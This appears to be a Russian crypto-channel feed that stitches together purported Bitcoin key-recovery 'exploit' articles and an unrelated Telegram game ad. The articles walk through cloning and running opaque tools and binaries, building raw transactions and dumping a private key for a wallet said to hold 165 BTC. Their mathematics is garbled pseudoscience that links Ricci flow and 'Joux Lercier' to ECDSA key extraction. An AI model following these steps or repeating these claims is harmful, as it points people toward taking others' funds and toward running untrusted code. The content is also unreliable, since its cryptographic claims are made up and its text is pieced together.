6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232 Видео с привязкой ко времени Видео с привязкой ко времени 6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS Видео с привязкой ко времени Также нажимаем на кнопку Balance BTC и получаем результат суммы в балансе: 6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS: 165.10252195 BTC _____________________________________________________________________________________________________ Видео с привязкой ко времени Видео с привязкой ко времени Приватный ключ получен! Восстановление биткоин-кошелька с помощью методов, основанных на математике, таких как Ricci Flow Hidden Number Problem, открывает новые горизонты для понимания криптографических уязвимостей и возможностей. Мы продемонстрировали, как можно использовать программное обеспечение Perelman Work, Dockeyhunt Discrete Logarithm и DarkSignature для извлечения приватных ключей и создания поддельных транзакций, что подчеркивает важность математического анализа в сфере криптовалют. Полученные результаты показывают, что даже в сложной системе, как Bitcoin, существуют уязвимости, которые могут быть использованы для восстановления доступа к потерянным средствам. Этот процесс требует глубоких знаний в области криптографии и математики, а также навыков работы с специализированным программным обеспечением. Механизмы эксплуатации и значительное влияние в мультиподписные системы Уязвимость алгоритма Joux Lercier представляет серьезную опасность для систем с мультиподписными схемами, поскольку злоумышленник может создать поддельные подписи, которые система примет, угрожая не только отдельным транзакциям, но и целостности всего процесса мультиподписей. Злоумышленник может сгенерировать поддельные подписи, которые будут приняты системой, что ставит под угрозу не только отдельные транзакции, но и весь процесс использования мультиподписи. Практическая часть Согласно теории уязвимости алгоритма Joux Lercier, злоумышленники способны использовать выявленные недостатки для атак на сеть Bitcoin, перегружая её недействительными транзакциями и тем самым нарушая её стабильность. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS , где были потерянный монеты на сумму: 165.10252195 BTC на декабрь 2024 года эта сумма составляет: 15802506,39 USD 165.10252195 > 15802506,39 USD Tutorials Power AI Воспользуемся списком из «Tutorials Power AI» широко применяемая категория искусственного интеллекта для введение бизнеса в различных сферах деятельности криптоанализа и крипографии в целом. git clone https://github.com/demining/Tutorials-Power-AI.git cd Tutorials-Power-AI/ python3 tutorials.py Применим уязвимость, связанная с реализацией алгоритма (Joux Lercier) для создания Raw транзакции с помощью процесса машинного обучение BitcoinChatGPT Рассмотрим построение структуры уязвимой Raw транзакции в котором используется модуль BitcoinChatGPT https://colab.research.google.com/drive/1Cohb5F2h1CP9CnYdAdMJW9vyl4pwQKuz State of a vulnerable transaction in Bitcoin: 01000000 ....01 ........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935 ............00000000 ........8b483045 ....0221 ...........00 ...........947d6fb75033cc3e342c8538a350e9058134b2a1ae01a7c50fc52b1f56c9169c ....0220 ........5b3ec0d72a2368cdd48c17ff095ab1ab0b9824e010883539cbeb18141de6384b .....0141 .....04e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335 ....ffffffff 01 ....d204000000000000 ........1976 ............a914 ........f750c55bea03af8a720c46b5d6edea93644cdaf7 ....88ac 00000000 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100947d6fb75033cc3e342c8538a350e9058134b2a1ae01a7c50fc52b1f56c9169c02205b3ec0d72a2368cdd48c17ff095ab1ab0b9824e010883539cbeb18141de6384b014104e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335ffffffff01d2040000000000001976a914f750c55bea03af8a720c46b5d6edea93644cdaf788ac00000000 https://live.blockcypher.com/btc/decodetx/ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK", "1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS" ], "block_height": -1, "block_index": -1, "confirmations": 0, "double_spend": false, "fees": 2606688996428, "hash": "07160d430b92d957a7b3f0284ec7ff6084629b6385476608a6da5858fcfc2716", "inputs": [ { "addresses": [ "1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK" ], "age": 344419, "output_index": 0, "output_value": 2606688997662, "prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d", ....... ....... ....... https://github.com/demining/CryptoDeepTools/blob/50de2ffdd7f9f06a34049d1c72559aa16b1bf42c/37DiscreteLogarithm/DecodeRawTX.txt#L31C30-L31C70 Transaction Script The above script has been decoded BitcoinChatGPT создает структуру транзакции, используя HASH публичного ключа, где мы видим что Bitcoin address: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS отправляет 1234 satoshi на тот же адрес внутри своей сети. Bitcoin HASH160 был получен с помощью Python Script: wif_to_hash160.py https://github.com/demining/CryptoDeepTools/blob/main/37DiscreteLogarithm/wif_to_hash160.py https://github.com/demining/CryptoDeepTools/blob/main/37DiscreteLogarithm/KEYFOUND.privkey BitcoinChatGPT №6 Joux Lercier Vulnerability Algorithm Уязвимая Raw транзакция Создадим из полученных данных уязвимую Raw транзакцию используя репозиторию Broadcast Bitcoin Transaction git clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git Каталог: cd Broadcast-Bitcoin-Transaction zmq urllib3 requests requirements.txt pip install -r requirements.txt Откроем в Notepad++ основной файл и внесем небольшие изменение в коде Python Script: main.py from io import BytesIO from secp256k1 import * from sighash import * pk = PrivateKey.parse("5JdUtcYt3ZBQN8aPZWNffXzNCTPds7aQtJk7zc9iQShNQ9yWe7x") pk.address() tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d") index = 0 send = "1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS" tx_in = TxIn(tx, index, b'', 0xffffffff) tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey'] tx_in._value = 2345 tx_ins = [ tx_in ] tx_outs = [ TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize()) ] tx = Tx(1, tx_ins, tx_outs, 0, testnet=True) signature(tx, 0, pk) tx.serialize().hex() print(tx.serialize().hex()) f = open("RawTX.txt", 'w') f.write("" + tx.serialize().hex() + "" + "\n") f.close() python main.py 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100947d6fb75033cc3e342c8538a350e9058134b2a1ae01a7c50fc52b1f56c9169c02205b3ec0d72a2368cdd48c17ff095ab1ab0b9824e010883539cbeb18141de6384b014104e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335ffffffff01d2040000000000001976a914f750c55bea03af8a720c46b5d6edea93644cdaf788ac00000000 Порядок выполнения действий на видео: Как нам известно из prompt ответов модуля BitcoinChatGPT Joux Lercier Vulnerability Algorithm может быть использован для решения сложных криптографических задач. Smart Transformers Применим машинное обучение Smart Transformers, интегрируем блокнот Google Colab с Pytorch, TensorFlow, JAX и с помощью полученных данных уязвимой Raw транзакцией для Биткоин Адреса: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS создадим незащищённый файл wallet.dat из предложенного выбора всех существующих алгоритмов от SMART_IDENTIFY. После выполним Padding Oracle Attack на новосозданный файл: wallet.dat для расшифровки пароля в исходный бинарный формат с целью получение и извлечения приватного ключа из программной консоли Bitcoin Core используя при этом стандартную команду: dumpprivkey 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS https://colab.research.google.com/#create=true !git clone https://github.com/smartibase/Smart-Transformers.git cd Smart-Transformers/ !sudo apt-get update !sudo apt install libtool !sudo apt-get install g++ !python setup.py --help !sudo apt-get install libgmp3-dev libmpfr-dev !chmod +x Generic_Algorithms !./Generic_Algorithms !pip3 install transformers from transformers import AutoModelForCausalLM, AutoTokenizer model_name = "microsoft/DialoGPT-medium" tokenizer = AutoTokenizer.from_pretrained(model_name) model = AutoModelForCausalLM.from_pretrained(model_name) model = model.cpu() ls -S Добавим нашу уязвимую Raw транзакцию в текстовый документ: RawTX.txt для этого воспользуемся утилитой echo !echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100947d6fb75033cc3e342c8538a350e9058134b2a1ae01a7c50fc52b1f56c9169c02205b3ec0d72a2368cdd48c17ff095ab1ab0b9824e010883539cbeb18141de6384b014104e87e83f871df1439b7873b4ae449d15306cafc53e03a06fffb534b3bf25b58d8edca74b0faf5cf8c3aed6cad2bd79a7bce92ab53e07440d4590cbf31286d9335ffffffff01d2040000000000001976a914f750c55bea03af8a720c46b5d6edea93644cdaf788ac00000000' > RawTX.txt !cat RawTX.txt Теперь, чтобы получить точный алгоритм и метод для криптоанализы нам необходимо идентифицировать уязвимый RawTX с помощью утилиты SMART_IDENTIFY. !./SMART_IDENTIFY ################################################# Joux_Lercier_Algorithm ################################################# Запустим процесс создание файла wallet.dat для этого используем идентифицированные данные уязвимой Raw транзакции в файле: RawTX.txt для процесса применим утилиту Joux_Lercier_Algorithm !./Joux_Lercier_Algorithm -o RawTX.txt -s wallet.dat Download and Install Bitcoin Core 0.18.0 https://bitcoincore.org/bin/bitcoin-core-0.18.0 getaddressinfo 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS Файл: wallet.dat зашифрован паролем! dumpprivkey 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS Мы видим предупреждение: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13) Padding Oracle Attack Воспользуемся методом Padding Oracle Attack на Wallet.dat и расшифруем пароль для доступа в бинарный формат пароля. Сначала получаем доступ к файлу wallet.dat на сумму: 165.10 BTC Клонирование репозитории: Biggest Lost Bitcoin Wallets List git clone https://github.com/keyhunters/Biggest-Lost-Bitcoin-Wallets-List.git Total Commander https://github.com/keyhunters/Biggest-Lost-Bitcoin-Wallets-List/tree/main/165.10%20BTC Скачаем и установим Bitcoin Core 0.18.0 Откроем path: c:\Users\User\AppData\Roaming\Bitcoin\ Переместим файл: wallet.dat c:\Users\User\AppData\Roaming\Bitcoin\wallet.dat Запустим кошелек Bitcoin Core Encryt Wallet… Откроем консоль getaddressinfo 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS Bitcoin Address Information: Balance: 165.10252195 BTC Metasploit Framework and use MSFVenom Роль Metasploit Framework в разработке msfvenom Run ExploitDalenePRO.exe 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS c:\BitcoinTools\ExploitDalenePRO\modules\ c:\BitcoinTools\ExploitDalenePRO\modules\exploits\ c:\BitcoinTools\ExploitDalenePRO\modules\exploits\ExploitDarlenePRO\ c:\BitcoinTools\ExploitDalenePRO\modules\exploits\ExploitDarlenePRO\decode_core.rb decode_core.rb c:\BitcoinTools\ExploitDalenePRO\bitcoin\ https://github.com/bitcoin/bitcoin https://github.com/bitcoin/bitcoin/blob/master/src/crypto/aes.h c:\BitcoinTools\ExploitDalenePRO\bitcoin\src\ c:\BitcoinTools\ExploitDalenePRO\bitcoin\src\crypto\aes.cpp c:\BitcoinTools\ExploitDalenePRO\bitcoin\src\crypto\aes.cpp c:\Users\User\AppData\Roaming\Bitcoin\ Upload Wallet.dat result.json walletpassphrase 1111111101110111010010110110010101100010110010001011111011000111101010010010000110101110100110000001100011001101000100001110101110100101101111000010100000000110100010110011000111111001111000110110001011000010000011001001000100101011001000101100110001101000 60 Run the command and get Private Key dumpprivkey 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS Private Key Information: 5JdUtcYt3ZBQN8aPZWNffXzNCTPds7aQtJk7zc9iQShNQ9yWe7x Bitcoin Address Information: Balance: 165.10252195 BTC https://www.coinbase.com/converter/btc/usd 165.10252195 > 15802506,39 USD !pip3 install bitcoin __________________________________________________ Private Key WIF: 5JdUtcYt3ZBQN8aPZWNffXzNCTPds7aQtJk7zc9iQShNQ9yWe7x Bitcoin Address: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS total_received = 165.10252195 Bitcoin __________________________________________________ Все верно! Приватный ключ соответствует Биткоин Кошельку. Откроем bitaddress и проверим: ADDR: 1PYgfSouGGDkrMfLs6AYmwDqMLiVrCLfeS WIF: 5JdUtcYt3ZBQN8aPZWNffXzNCTPds7aQtJk7zc9iQShNQ9yWe7x HEX: 6b29781e725708ae4d94e13730a2718ee3383ea5d911e77d4c2a2fd0c99c1232 Заключение и меры по смягчению угрозы: В этой статье мы исследовали методы восстановления потерянных криптовалютных кошельков и приватных ключей с помощью математических алгоритмов, таких как решение дискретного логарифма и проблема скрытых чисел (Hidden Number Problem). Мы продемонстрировали, как использовать программное обеспечение Dockeyhunt Discrete Logarithm, DarkSignature и Perelman Work для извлечения приватных ключей из уязвимых транзакций, использующих алгоритм ECDSA.Наше исследование показало, что даже в таких безопасных системах, как Bitcoin, существуют уязвимости, которые могут быть использованы для восстановления доступа к потерянным средствам. Процесс восстановления требует глубоких знаний в области криптографии и математики, а также навыков работы с специализированным программным обеспечением. Для защиты от угроз, связанных с уязвимостью Joux Lercier, пользователям необходимо предпринять следующие шаги: Обновление программного обеспечения: Регулярное обновление криптовалютных кошельков до версий, устраняющих уязвимости, критически важно для обеспечения безопасности. Улучшение механизмов проверки подписей: Усиленная валидация входных данных и обработка ошибок помогут предотвратить создание поддельных подписей и защитить приватные ключи пользователей. Мониторинг сетевой активности: Постоянный анализ состояния сети и выявление подозрительных транзакций на ранних этапах позволяют оперативно реагировать на попытки эксплуатации уязвимостей. Применение многофакторной аутентификации: Внедрение дополнительных криптографических методов защиты значительно повысит безопасность. Уязвимость алгоритма Joux Lercier представляет собой значительную угрозу для безопасности криптовалютных транзакций и целостности блокчейна. Для минимизации рисков пользователи должны регулярно обновлять программное обеспечение, применять строгие меры безопасности и проводить постоянный мониторинг состояния сети. Эти меры помогут сохранить безопасность и устойчивость криптовалютных систем, защищая пользователей от потенциальных угроз и финансовых потерь. Результаты нашего исследования подчеркивают важность математического анализа в сфере криптовалют и демонстрируют потенциальные возможности использования сложных математических методов для решения реальных задач в области криптоанализа. Однако важно отметить, что такие методы могут быть использованы как для восстановления доступа к потерянным средствам, так и для эксплуатации уязвимостей, что подчеркивает необходимость повышения безопасности криптовалютных систем. References: The impact of the number field sieve on the discrete logarithm problem in finite fields OLIVER SCHIROKAUER Discrete Logarithms Aurore Guillevic, François Morain Discrete logarithm computation in finite fields Fp n with NFS variants and consequences in pairing-based cryptography Aurore Guillevic Inria Nancy, Caramba team Discrete logarithm problem (DLP) & ECDSA Many slides are from Rong-Jaye Chen@NCTU The Discrete-Logarithm Problem with Preprocessing Henry Corrigan-Gibbs and Dmitry Kogan Stanford University August 3, 2021 Discrete Logarithm Factory Haetham Al Aswada , Emmanuel Thomé and Cécile Pierrot Université de Lorraine, CNRS, Inria, LORIA, Nancy, France On the discrete logarithm problem for prime-field elliptic curves Citation for published version (APA): Amadori, A. G., Pintore, F., & Sala, M. (2018) An evaluation of the discrete logarithm cryptosystem Yansheng Chen Kristin School, Auckland, New Zealand Efficient Proofs Of Knowledge of Discrete Logarithms and Representations in Groups with Hidden Order Endre Bangerter , Jan Camenisch , and Ueli Maurer IBM Research, Zurich Research Lab, CH-8803 Rueschlikon, Switzerland Departement of Computer Science, ETH Zurich, CH-8092 Zurich, Switzerland Proof Systems for General Statements about Discrete Logarithms Jan Camenisch Dept. of Computer Science Haldeneggsteig 4 ETH Zurich CH-8092 Zurich, Switzerland Markus Stadler Union Bank of Switzerland Ubilab Bahnhofstrasse 45 CH-8021 Zurich, Switzerland Evidence that the Diffie-Hellman Problem is as Hard as Computing Discrete Logs Jonah Brown-Cohen Divisibility, Smoothness and Cryptographic Applications David Naccache Equipe de cryptographie ´ Ecole normale sup´erieure ´ 45 rue d’Ulm, F-75230 Paris, Cedex 05, France Igor E. Shparlinski Department of Computing Macquarie University Sydney, NSW 2109, Australia October 17, 2008 CDLS: Proving Knowledge of Committed Discrete Logarithms with Soundness Sofia Celi , Shai Levin , and Joe Rowell Brave Software, University of Auckland, Royal Holloway, University of London Basic Discrete Logarithm Algorithms “Mathematics of Public Key Cryptography” by Steven Galbraith Computing small discrete logarithms faster Daniel J. Bernstein and Tanja Lange Department of Computer Science University of Illinois at Chicago, Chicago, IL 60607–7053, USA Department of Mathematics and Computer Science Technische Universiteit Eindhoven, P.O. Box 513, 5600 MB Eindhoven, the Netherlands Discrete Logarithms on Elliptic Curves Aaron Blumenfeld University of Rochester The Past, evolving Present and Future of Discrete Logarithm Antoine Joux, Andrew Odlyzko and Cécile Pierrot Discrete logarithms in finite fields and their cryptographic significance A. M. Odlyzko AT&T Bell Laboratories Murray Hill, New Jersey Discreet Log Contracts Thaddeus Dryja MIT Digital Currency Initiative Solving a 676-bit Discrete Logarithm Problem in GF(36n) Takuya Hayashi , Naoyuki Shinohara , Lihua Wang, Shin’ichiro Matsuo , Masaaki Shirase, and Tsuyoshi Takagi Future University Hakodate, Japan. National Institute of Information and Communications Technology, Japan. ECDSA Security in Bitcoin and Ethereum: a Research Survey Hartwig Mayer CoinFabrik Revised June 28, 2016 Bitcoin Security with a Twisted Edwards Curve Meryem Cherkaoui Semmouni, Abderrahmane Nitaj, Mostafa Belkasmi The Discrete Logarithm Problem in GL(n, q) Alfred J. Menezes and Yi-Hong Wu Dept. of Discrete and Statistical Sciences 120 Math Annex Auburn University The Discrete Logarithm Problem on Elliptic Curves of Trace One Nigel P. Smart Network Systems Department HP Laboratories Bristol October, 1997 Elliptic Curve Digital Signatures and Their Application in the Bitcoin Crypto-currency Transactions Benjamin K. Kikwai 16 October 2017 Mathematics of Bitcoin: The ECDSA by Lewis Combes MA4K8 Scholarly Report Submitted to The University of Warwick Mathematics Institute April, 2018 Discrete Logarithm in Galois Rings Samuel Bertrand Liyimbeme Mouchili African Institute for Mathematical Sciences (AIMS)-Cameroon alumnus, Cameroon The discrete logarithm problem and its application in Cryptography Roger Oyono University of French Polynesia, Tahiti Lectures in Cryptography for Master class Madrid, April 2009 The Discrete Logarithm Problem Rene Schoof Asymmetric cryptography from discrete logarithms Benjamin Smith Summer school on real-world crypto and privacy Sibenik, Croatia // June 17 2019 Intractability of Learning the Discrete Logarithm with Gradient-Based Methods Rustem Takhanov Maxat Tezekbayev Artur Pak Department of Mathematics, Nazarbayev University, Astana, Kazakhstan Arman Bolatov Department of Computer Science, Nazarbayev University, Astana, Kazakhstan Zhibek Kadyrsizova Department of Mathematics, Nazarbayev University, Astana, Kazakhstan Zhenisbek Assylbekov Department of Mathematical Sciences, Purdue University Fort Wayne, Fort Wayne, IN, USA Discrete Logarithms in Cryptography Frederik Vercauteren ESAT/COSIC — K.U. Leuven ECRYPT Summer School 2008 THE DISCRETE LOG PROBLEM AND ELLIPTIC CURVE CRYPTOGRAPHY NOLAN WINKLER Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов. Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/i9KYih_ffr8 Video tutorial: https://dzen.ru/video/watch/6784be61b09e46422395c236 Источник: https://cryptodeeptool.ru/discrete-logarithm Криптоанализ
  5. 🚗 ДРИФТОВАЯ ВЕЧЕРИНКА Давайте подрифтим с DRFT Party — новой Merge2 игрой в духе Catizen, с крутой анимацией, где нужно скрещивать машины и прокачивать их уровни. За проектом стоят TonTon Games, прошедшие инкубацию в 7 сезоне Binance Labs. Уже сейчас можно: - Зарабатывать токены DRFT, которые пригодятся в будущем PvP-режиме; - Получать билеты, которые позже можно обменять на ценные NFT. Холдеры NFT получат ранний доступ к PvP-режиму и эксклюзивным PvP турнирам, возможность участия в гонках 1-на-1 за $TON и токены. Кроме того, NFT первого сезона дадут бонусы во втором. ЧТО ДЕЛАТЬ? 1. Переходим в бота и вводим промо код BC346: Код активирует AutoMode, который будет автоматически скрещивать машины, собирать контейнеры и активировать бусты. Количество активаций ограничено! 2. Повышаем уровень машин, выполняем задания в разделе Earn, фармим токены DRFT и билеты. 3. С 9 декабря работает обновленная реферальная система: теперь можно получать 20% от покупок рефералов в TG Stars. 4. Вот-вот запустится ивент, в котором нужно будет помочь заправить машину гонщику, чтобы он выиграл дрифт-контест и раздал всем призовые коды. Детали будут в анонс-канале проекта.
  6. CRYPTO DEEP TECH Уязвимость, известная как Signature Malleability, представляет собой серьезную угрозу для криптовалют Bitcoin и Ethereum, использующих алгоритм цифровой подписи на эллиптических кривых (ECDSA). Эта уязвимость позволяет злоумышленникам манипулировать подписями, создавая недействительные, но приемлемые для системы подписи. В данной статье рассматриваются механизмы эксплуатации этой уязвимости, ее последствия для безопасности криптовалют и предложенные меры по ее устранению. ECDSA (Elliptic Curve Digital Signature Algorithm) — это алгоритм, который широко используется для создания цифровых подписей транзакции перевода монет BTC или ETH в криптовалютах Bitcoin и Ethereum. Подпись состоит из двух компонентов: r и s, которые зависят от случайного одноразового номера k (NONCE) и приватного ключа x (PrivKey) подписанта. Как возникает уязвимость Signature Malleability в транзакции Bitcoin? Уязвимость Signature Malleability возникают из-за того, что существует возможность изменить значение s в подписи, сохраняя при этом действительность подписи. Это возможно благодаря тому, что для одной и той же подписи можно получить несколько эквивалентных значений (r,s′): (где n — порядок группы эллиптической кривой secp256k1). Таким образом, злоумышленник может создать новую подпись, которая будет принята системой как действительная. Недостаточная проверка значений: Если значения r и s не проверяются на допустимые диапазоны (например, должны находиться в пределах от 1 до n−1), это может позволить злоумышленникам использовать некорректные значения для создания поддельных подписей. CVE-2024-42461: Signature Malleability в библиотеке Elliptic для ECDSA https://nvd.nist.gov/vuln/detail/CVE-2024-42461 CVE-2024-42461 представляет собой уязвимость, обнаруженную в библиотеке Elliptic, используемой для реализации алгоритма цифровой подписи ECDSA (Elliptic Curve Digital Signature Algorithm) в Node.js. Эта уязвимость связана с Ricci Flow Hidden Number Problem (Ricci Flow HNP), что делает её особенно важной для безопасности криптографических приложений. Hidden Number Problem — это математическая задача, которая заключается в нахождении скрытого числа, использованного в процессе шифрования. В контексте ECDSA, если злоумышленник может решить HNP, это может привести к компрометации приватных ключей. Уязвимость CVE-2024-42461 позволяет потенциальному атакующему извлечь информацию о приватных ключах из подписей, что ставит под угрозу целостность цифровых подписей и аутентификацию пользователей. Данная уязвимость открывает широкий спектр атак, т.к. уязвимость может быть использована в различных атаках, включая атаки на аутентификацию и целостность данных. Это может вызвать серьезные проблемы для систем, полагающихся на ECDSA для обеспечения безопасности транзакций криптовалюты Биткоин и Эфириум. Ricci Flow HNP Ricci Flow HNP (Ricci Flow Hidden Number Problem) стал ключевым инструментом в доказательстве таких теорем, как Thurston elliptization conjecture, Geometrization conjecture и Poincaré conjecture, которые касаются топологии многообразий. Гамильтон и позже Григорий Перельман использовали этот подход для получения глубоких результатов о структуре многообразий, это может означать использование потока для выявления и анализа скрытых геометрических характеристик многообразий, что позволяет делать выводы о их топологии и других свойствах. Основные связи между потоком Риччи и кривизной Тензор Риччи: Поток Риччи основан на тензоре Риччи, который является средним значением секционных кривизны. Он отражает, как изменяется форма многообразия в зависимости от его кривизны, где формулируется как задача нахождения скрытого числа, когда известны результаты функции, примененной к комбинациям этого числа с известными элементами. Это может быть полезно в контексте криптографии, особенно в системах с публичным ключом, где важно минимизировать утечку информации о приватных ключах Динамика кривизны: В процессе потока Риччи метрика изменяется таким образом, что кривизна может увеличиваться или уменьшаться. Это позволяет анализировать, как геометрические свойства многообразия влияют на его топологию. Сингулярности: Поток Риччи может приводить к сингулярностям — точкам, где кривизна становится бесконечной. Изучение этих сингулярностей имеет ключевое значение для понимания долгосрочного поведения потока и его применения в решении топологических задач, таких как гипотеза Пуанкаре. Принцип максимума: Поток Риччи сохраняет положительность скалярной кривизны, что позволяет использовать принципы максимума для анализа геометрических свойств многообразий в процессе деформации. Классификация точек поверхности Существуют поверхности, состоящие из точек одного, двух или трех типов. Оптимизация алгоритмов Методы, разработанные в рамках теории потоков Риччи, могут быть адаптированы для оптимизации вычислений в эллиптической криптографии, особенно в контексте операций над точками на эллиптических кривых secp256k1. Таким образом, поток Риччи не только служит инструментом для изучения изменения метрик, но и предоставляет глубокую связь между геометрией и топологией через анализ кривизны. Возьмем к примеру числа «N» и «P» которые являются важными параметрами в контексте эллиптической криптографии, особенно в стандарте secp256k1, который широко используется в блокчейне и криптовалюте Bitcoin и Ethereum. Значение числа N N — это порядок группы точек на эллиптической кривой. Он определяет максимальное количество точек, которые могут быть использованы для генерации ключей в криптографических алгоритмах. В случае secp256k1, значение N равно: N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 Значение числа P P — это характеристика самой эллиптической кривой, представляющая собой простое число, которое определяет поле, в котором происходит работа с точками на кривой. Значение P для secp256k1: P = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f Разница между N и P Порядок группы (N): Определяет количество точек на кривой, которые могут быть использованы для криптографических операций. Простое число (P): Определяет поле, в котором работает кривая. Это число важно для математических операций над точками на кривой. Таким образом, хотя оба числа играют ключевую роль в обеспечении безопасности и функциональности криптографических систем, они выполняют разные функции: N — касается структуры группы точек, а P — структуры поля. Вертикальное положение значение N и P Python скрипт: value_n.py Python скрипт: value_p.py Как реализовать уязвимость Signature Malleability в транзакции Bitcoin? Для реализации полноценной атаки на Биткоин, с использованием уязвимости Signature Malleability необходимо изменить эквивалентное значение (s′) как это показано во втором столбце таблицы компонентов значении (R, S, Z) цифровой подписи в ECDSA. 36SignatureMalleability/Ricci_Flow_Hidden_Number_Problem.txt P = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f Для успешной атаки на Биткоин достаточно 32 транзакции подписи ECDSA, где изменив две начальные цифры HEX в эквивалентном значение (s′) мы выстраиваем таблицу для определения диапазона возможных значений координат точек на кривой, а также оптимизация математических алгоритмов разработанные в рамках теории потоков Риччи. Поскольку потоки Риччи тесно связаны с теорией кривизны, мы можем воспользоваться средним значением секционной кривизны и решить проблему скрытых чисел, где применяя полученные данные к 32 транзакциям Биткоина мы извлекаем из заданных значении (R, S, Z) начальные данные для секретных ключей: (k′) NONCE для 32 транзакции Биткоина и с помощью инструмента Ricci Flow HNP (Ricci Flow Hidden Number Problem) мы находим скрытое число: (x′) PrivKey — приватный ключ. Значения R и S являются основными компонентами цифровой подписи в ECDSA Как формируются R и S (метод проверки подписи) Процесс генерации значений R и S включает следующие шаги: Генерация дайджеста сообщения: Сначала создается хеш сообщения с помощью алгоритма, например SHA-256. Выбор случайного числа: Генерируется случайное число, которое используется для создания точки на эллиптической кривой. Вычисление R: Используя это случайное число, вычисляется координата точки на кривой, которая становится значением R. Вычисление S: Значение S рассчитывается с учетом дайджеста сообщения и приватного ключа. При проверке подписи получатель использует значения R и S вместе с публичным ключом отправителя и дайджестом сообщения для подтверждения подлинности подписи. Если все вычисления подтверждают соответствие, это означает, что сообщение действительно было подписано владельцем соответствующего приватного ключа. Как получить значение R, S, Z из RawTX (метод декодирование подписи) Извлечение R, S, Z: Подпись в ECDSA состоит из двух компонентов: R и S. После декодирования RawTX найдите поле, содержащее подпись (обычно это часть входа транзакции). Подпись будет представлена в виде DER—кодировки. Вам нужно будет извлечь значения R и S из этой подписи. Обычно они представлены как два целых числа, которые можно выделить с помощью десериализации. Значение Z — это хэш сообщения, которое подписывается. Для получения Z вам нужно выполнить хэширование данных транзакции (обычно с использованием SHA-256), которые были подписаны. Декодируем RawTX с помощью инструмента decoderaw Откроем новый блокнот в Google Colab Сommands: !git clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git cd Broadcast-Bitcoin-Transaction/ !python setup.py Сommands: cd decoderaw/ !chmod +x decoderaw ls !./decoderaw Сommands: !./decoderaw 01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b48304502210097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe002201014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d50141049b4069d8237fae8f2417c71c5512ec1b0547b5597474480cc28ea1bbfeecaab8b90fdec161ad6ef4378f274a60b900452431533596bf3bd23e01202ebf679461ffffffff01d2040000000000001976a914d77522a2b18e0064aba02ca7f864a5bb2299825988ac00000000 Result: 1111,0097255916a3cc4f69d4fa16f68219d0b1798d392fb0dce5fb0a358510df8cabe0,1014656120e0a6e7c8c4a79ee22b3cdd4f55435e3e9bf3ab7287ae16858dd9d5,931a52e8610cf87b6d00875f687042224c305865fd20ecb15ef76b1277ba10fd,0000 Практическая часть Из теории уязвимость CVE-2024-42461 известно, что злоумышленники могут использовать некорректные значения для создания поддельных подписей транзакции. Перейдем к практической части статьи и рассмотрим пример с использованием Биткоин кошелька: 1LeEbwu667oPtQC5dKiGiysUjFM3mQaxpw , где были потерянный монеты на сумму: 21.2529214 BTC на ноябрь 2024 года эта сумма составляет: 1744572,51 USD Решение дифференциального уравнения Исходное уравнение: Левую часть уравнения можно интерпретировать как производную функции y по x, которая равна произведению двух функций: g(y), зависящей от y, и h(x), зависящей от x. Переписывание уравнения: Уравнение можно переписать в форме, которая отделяет переменные: Это позволяет интегрировать обе стороны отдельно. После разделения переменных, мы можем в точности интегрировать обе стороны: Левую сторону относительно y: Правую сторону относительно x: Исследуем взаимосвязь между переменными через интеграцию [ frac{dy}{dx} = 